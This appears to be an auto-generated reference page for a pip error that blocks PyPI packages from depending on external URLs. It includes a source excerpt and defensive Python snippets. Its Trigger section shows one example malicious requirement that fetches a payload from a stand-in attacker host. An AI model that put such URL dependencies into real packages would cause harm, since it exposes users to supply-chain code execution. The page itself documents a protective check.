pypa/pip · error · InstallationError

Packages installed from PyPI cannot depend on packages…

Error message

Packages installed from PyPI cannot depend on packages which are not also hosted on PyPI.
{comes_from.name} depends on {req} 

What it means

pip enforces a security policy: if a requirement has a direct URL (req.url is set) and it comes from a package that was itself downloaded from PyPI's file storage domain (files.pythonhosted.org), pip refuses to install it. This prevents dependency-confusion and supply-chain attacks where a PyPI package pulls arbitrary code from external URLs.

Solutions

  1. This is enforced security policy and cannot be bypassed for PyPI-hosted packages
  2. Install the external dependency separately and explicitly from a trusted source before installing the main package
  3. Contact the package maintainer to publish the dependency on PyPI
  4. Use --no-deps to skip dependency resolution if you have pre-installed everything (use with caution)
Defensive patterns

Strategy: try-catch

Validate before calling

# This is a policy enforcement; pre-validation means checking if the dependency has a URL
from pip._vendor.packaging.requirements import Requirement

def has_external_url_dep(req: Requirement) -> bool:
    """Check if a requirement references a direct (non-PyPI) URL."""
    return bool(req.url)

Type guard

from pip._vendor.packaging.requirements import Requirement

def is_pypi_safe_requirement(req: Requirement) -> bool:
    """Returns True if the requirement has no direct URL (safe for PyPI deps)."""
    return not req.url

Try / catch

from pip._internal.exceptions import InstallationError

try:
    ireq = install_req_from_req_string(req_string, comes_from=parent_ireq)
except InstallationError as e:
    if "cannot depend on packages which are not also hosted on PyPI" in str(e):
        logger.warning("Security policy blocked external URL dep from %s", parent_ireq.name)
        # install the dependency separately from a trusted source
    else:
        raise

Prevention

When it happens

Trigger: A package hosted on PyPI declares a dependency with a direct URL in its Requires-Dist, e.g. 'evil @ https://evil.example.com/payload.tar.gz'. When pip resolves dependencies and calls install_req_from_req_string for that dependency, comes_from.link.netloc matches files.pythonhosted.org and the URL requirement triggers the block.

Common situations: Installing a PyPI package that legitimately (or maliciously) references an external dependency URL. Legacy packages that pre-date PyPI-only dependency norms. Forks or mirrors that inject URL dependencies.

Related errors


AI-assisted analysis of pypa/pip@f399c37189 (2026-08-08). Data as JSON: /api/errors/a31ca388c82dec5c. Report an issue: GitHub.

Appendix: source

Thrown at src/pip/_internal/req/constructors.py:470

    user_supplied: bool = False,
) -> InstallRequirement:
    try:
        req = get_requirement(req_string)
    except InvalidRequirement as exc:
        raise InstallationError(f"Invalid requirement: {req_string!r}: {exc}")

    domains_not_allowed = [
        PyPI.file_storage_domain,
        TestPyPI.file_storage_domain,
    ]
    if (
        req.url
        and comes_from
        and comes_from.link
        and comes_from.link.netloc in domains_not_allowed
    ):
        # Explicitly disallow pypi packages that depend on external urls
        raise InstallationError(
            "Packages installed from PyPI cannot depend on packages "
            "which are not also hosted on PyPI.\n"
            f"{comes_from.name} depends on {req} "
        )

    return InstallRequirement(
        req,
        comes_from,
        isolated=isolated,
        user_supplied=user_supplied,
    )


def install_req_from_parsed_requirement(
    parsed_req: ParsedRequirement,
    isolated: bool = False,
    user_supplied: bool = False,
    config_settings: dict[str, str | list[str]] | None = None,

View on GitHub (pinned to f399c37189)